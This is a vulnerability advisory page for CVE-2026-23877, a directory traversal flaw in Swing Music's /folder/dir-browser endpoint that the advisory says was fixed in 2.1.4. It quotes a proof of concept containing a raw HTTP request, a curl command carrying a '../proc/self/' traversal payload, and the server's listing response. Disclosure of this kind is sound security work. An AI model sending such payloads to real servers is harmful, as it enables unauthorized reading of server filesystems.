CVE-2026-23877
JSON

5.3medium

Directory Traversal & Filesystem can be accessed by a non-admin user

Severity
5.3medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.60% (higher than 49% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-pj88-9xww-gxmhPYSEC-2026-1947

Description

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

Affected

Product or packageVersionsReported by
swingmx swingmusic< 2.1.4CVE List
swingmusic (PyPI)before 2.1.4GitHub Advisory Database, PyPA Advisory Database
swingmx swing_musicbefore 2.1.4NVD

All scores

GitHub_M5.3medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
NVD4.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Classification

CWE-25CWE-284

SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.

What each source says

CVE List

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

GitHub Advisory Database
Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks:

  • No authorization requirement: Any authenticated user can access the endpoint
  • Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:
req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')
PoC
  1. Create a non-admin user
  2. Authenticate as a non-admin user
  3. Send the following request:
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}
curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
    $'http://IP:1970/folder/dir-browser'
  1. The response will list directories from /proc/self instead of restricting to user-accessible paths:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}
Impact

Information Disclosure:

  • Server filesystem structure and layout
  • Configuration file locations and names
  • User account names from directory listings
  • Software versions and installed packages
  • Log file locations and system paths

Additional Risks:

  • Preparation for further attacks (LFI, RCE)
  • Bypass of access control mechanisms
  • Exposure of sensitive directory structures
NVD (es)

Swing Music es un reproductor de música autoalojado para archivos de audio locales. Antes de la versión 2.1.4, la función `list_folders()` de Swing Music en el endpoint `/folder/dir-browser` es vulnerable a ataques de salto de directorio. Cualquier usuario autenticado (incluidos los no administradores) puede navegar por directorios arbitrarios en el sistema de archivos del servidor. La versión 2.1.4 soluciona el problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-23877 changed 2026-01-20CVE Terms of Use
GitHub Advisory DatabaseGHSA-pj88-9xww-gxmh changed 2026-07-07CC-BY-4.0
NVDCVE-2026-23877 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-1947 changed 2026-07-07CC-BY-4.0